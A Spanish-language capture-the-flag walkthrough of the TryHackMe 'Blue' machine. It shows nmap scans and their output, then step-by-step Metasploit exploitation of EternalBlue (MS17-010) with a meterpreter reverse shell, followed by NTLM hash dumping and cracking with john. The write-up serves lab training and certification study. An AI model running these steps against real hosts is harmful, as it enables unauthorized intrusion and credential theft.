TryHackMe – Blue walkthrough

Segunda entrada resolviendo el offensive path de TryHackme. En esta ocasión el nombre de la máquina es Blue. Con el nombre ya se puede intuir algo no…? Exacto! Tiene que ver con eternalBlue! Es una máquina sencilla en la que obtendremos una shell privilegiada explotando la vulnerabilidad remotamente. Veremos cómo buscar, configurar y lanzar el exploit con Metasploit. Finalmente veremos cómo obtener y crackear los hashes de los usuarios del sistema.

Reconocimiento de puertos abiertos

Para el reconocimiento de puertos y servicios usaremos nmap como en la anterior ocasión. En este caso vamos a hacer una búsqueda de todos los puertos TCP con estado open, para luego, únicamente lanzar los scripts de enumeración a esos puertos en concreto. Con esto conseguimos no lanzar esos scripts de enumeración a puertos que están cerrados y así agilizamos el escaneo.

nmap -p- --open --min-rate 5000 10.10.109.160 -n -oG allPorts
Starting Nmap 7.92 ( https://nmap.org ) at 2021-11-11 19:24 CET
Nmap scan report for 10.10.109.160
Host is up (0.041s latency).
Not shown: 62993 closed tcp ports (conn-refused), 2533 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT      STATE SERVICE
135/tcp   open  msrpc
139/tcp   open  netbios-ssn
445/tcp   open  microsoft-ds
3389/tcp  open  ms-wbt-server
49152/tcp open  unknown
49153/tcp open  unknown
49154/tcp open  unknown
49158/tcp open  unknown
49160/tcp open  unknown

Ya tenemos qué puertos están abiertos, ahora vamos a lanzar los scripts de enumeración a esos puertos para reconocer qué servicios y qué versiones hay detrás de ellos.

nmap -p135,139,445,3389,49152,49153,49154,49158,49160 -sCV 10.10.109.160 -oN blue.nmap
Starting Nmap 7.92 ( https://nmap.org ) at 2021-11-11 19:28 CET
Nmap scan report for 10.10.109.160
Host is up (0.042s latency).

PORT      STATE SERVICE            VERSION
135/tcp   open  msrpc              Microsoft Windows RPC
139/tcp   open  netbios-ssn        Microsoft Windows netbios-ssn
445/tcp   open  microsoft-ds       Windows 7 Professional 7601 Service Pack 1 microsoft-ds (workgroup: WORKGROUP)
3389/tcp  open  ssl/ms-wbt-server?
| ssl-cert: Subject: commonName=Jon-PC
| Not valid before: 2021-11-10T18:22:56
|_Not valid after:  2022-05-12T18:22:56
|_ssl-date: 2021-11-11T18:30:08+00:00; -1s from scanner time.
| rdp-ntlm-info: 
|   Target_Name: JON-PC
|   NetBIOS_Domain_Name: JON-PC
|   NetBIOS_Computer_Name: JON-PC
|   DNS_Domain_Name: Jon-PC
|   DNS_Computer_Name: Jon-PC
|   Product_Version: 6.1.7601
|_  System_Time: 2021-11-11T18:30:02+00:00
49152/tcp open  msrpc              Microsoft Windows RPC
49153/tcp open  msrpc              Microsoft Windows RPC
49154/tcp open  msrpc              Microsoft Windows RPC
49158/tcp open  msrpc              Microsoft Windows RPC
49160/tcp open  msrpc              Microsoft Windows RPC
Service Info: Host: JON-PC; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
|_clock-skew: mean: 1h11m58s, deviation: 2h41m00s, median: -2s
| smb2-security-mode: 
|   2.1: 
|_    Message signing enabled but not required
|_nbstat: NetBIOS name: JON-PC, NetBIOS user: <unknown>, NetBIOS MAC: 02:46:b4:e4:48:17 (unknown)
| smb-security-mode: 
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
| smb2-time: 
|   date: 2021-11-11T18:30:02
|_  start_date: 2021-11-11T18:22:54
| smb-os-discovery: 
|   OS: Windows 7 Professional 7601 Service Pack 1 (Windows 7 Professional 6.1)
|   OS CPE: cpe:/o:microsoft:windows_7::sp1:professional
|   Computer name: Jon-PC
|   NetBIOS computer name: JON-PC\x00
|   Workgroup: WORKGROUP\x00
|_  System time: 2021-11-11T12:30:02-06:00

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 90.56 seconds

De acuerdo, estamos delante de una máquina Windows 7. Continuamos la enumeración con nmap, este dispone de diferentes categorías de scripts. Una de ellas, es la categoría vuln, que está relacionada con la comprobación de vulnerabilidades conocidades de seguridad. Vamos a ver qué nos reporta.

nmap --script vuln 10.10.109.160
Starting Nmap 7.92 ( https://nmap.org ) at 2021-11-11 19:37 CET
Nmap scan report for 10.10.109.160
Host is up (0.050s latency).
Not shown: 991 closed tcp ports (conn-refused)
PORT      STATE SERVICE
135/tcp   open  msrpc
139/tcp   open  netbios-ssn
445/tcp   open  microsoft-ds
3389/tcp  open  ms-wbt-server
| rdp-vuln-ms12-020: 
|   VULNERABLE:
|   MS12-020 Remote Desktop Protocol Denial Of Service Vulnerability
|     State: VULNERABLE
|     IDs:  CVE:CVE-2012-0152
|     Risk factor: Medium  CVSSv2: 4.3 (MEDIUM) (AV:N/AC:M/Au:N/C:N/I:N/A:P)
|           Remote Desktop Protocol vulnerability that could allow remote attackers to cause a denial of service.
|           
|     Disclosure date: 2012-03-13
|     References:
|       https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2012-0152
|       http://technet.microsoft.com/en-us/security/bulletin/ms12-020
|   
|   MS12-020 Remote Desktop Protocol Remote Code Execution Vulnerability
|     State: VULNERABLE
|     IDs:  CVE:CVE-2012-0002
|     Risk factor: High  CVSSv2: 9.3 (HIGH) (AV:N/AC:M/Au:N/C:C/I:C/A:C)
|           Remote Desktop Protocol vulnerability that could allow remote attackers to execute arbitrary code on the targeted system.
|           
|     Disclosure date: 2012-03-13
|     References:
|       https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2012-0002
|_      http://technet.microsoft.com/en-us/security/bulletin/ms12-020
|_ssl-ccs-injection: No reply from server (TIMEOUT)
49152/tcp open  unknown
49153/tcp open  unknown
49154/tcp open  unknown
49158/tcp open  unknown
49160/tcp open  unknown

Host script results:
|_samba-vuln-cve-2012-1182: NT_STATUS_ACCESS_DENIED
|_smb-vuln-ms10-054: false
| smb-vuln-ms17-010: 
|   VULNERABLE:
|   Remote Code Execution vulnerability in Microsoft SMBv1 servers (ms17-010)
|     State: VULNERABLE
|     IDs:  CVE:CVE-2017-0143
|     Risk factor: HIGH
|       A critical remote code execution vulnerability exists in Microsoft SMBv1
|        servers (ms17-010).
|           
|     Disclosure date: 2017-03-14
|     References:
|       https://technet.microsoft.com/en-us/library/security/ms17-010.aspx
|       https://blogs.technet.microsoft.com/msrc/2017/05/12/customer-guidance-for-wannacrypt-attacks/
|_      https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-0143
|_smb-vuln-ms10-061: NT_STATUS_ACCESS_DENIED

Nmap done: 1 IP address (1 host up) scanned in 98.13 seconds

Nmap nos reporta que la máquina es vulnerable a MS17-010. Esta vulnerabilidad permitiría ejecución de código remoto.

Metasploit – Explotando la vulnerabilidad

Vamos a buscar algún exploit existente en Metasploit. Para ello, abrimos Metasploit escribiendo msfconsole en la terminal y buscamos la vulnerabilidad con el comando search.

search ms17_010

Podemos seleccionar el primer exploit con número 0, escribiendo use exploit/windows/smb/ms17_010_eternalblue o también use 0, indicándole el número identificativo.

Ahora con show options podríamos ver la configuración que necesita el exploit para ser lanzado, además de otras opciones.

Por defecto ha cargado un payload meterpreter. Si queremos cambiar de payload, podríamos ver el listado de payloads disponibles con show payloads y le indicaríamos que queremos usar otro payload con set payload <payload>. Para el caso, mostraré cómo ver todos los payloads disponibles pero dejaré el meterpreter.

En el campo Required de la imagen de show options, nos indica qué opciones obligatorias necesita el exploit para ser lanzado. Pasamos a configurar:

  • RHOST: indicaremos la ip del objetivo.
  • LHOST: nuestra ip.
  • LPORT: puerto local por donde recibiremos la shell.

Una vez tengamos todo configurado podremos lanzar el exploit con el comando exploit.

Si todo ha ido correctamente, obtendremos acceso a la máquina con meterpreter.

Cómo podemos ver, ejecutando el comando sysinfo, nos muestra información del sistema comprometido.

Metasploit – Dumpeando y crackeando hashes

Otra funcionalidad que nos ofrece meterpreter, es hashdump. Este, nos dumpeará los hashes NTLM.

Copiamos y pegamos los hashes en un archivo para posteriormente hacer uso de john para crackearlos.

Metasploit – De meterpreter a cmd

Estando en una sesión meterpreter podemos entrar en una consola cmd escribiendo shell. Veremos que tenemos una shell como nt authority\system.

Conclusión

Una máquina sencilla para practicar la explotación de eternalBlue. También hemos visto cómo hacer uso de john para crackear hashes NTLM. Para la preparación de la certificación OSCP conviene no usar Metasploit, pero en este caso es una máquina bastante inestable en su explotación y ha sido una buena ocasión para mostrar el funcionamiento de esta herramienta.

Óscar Montoya.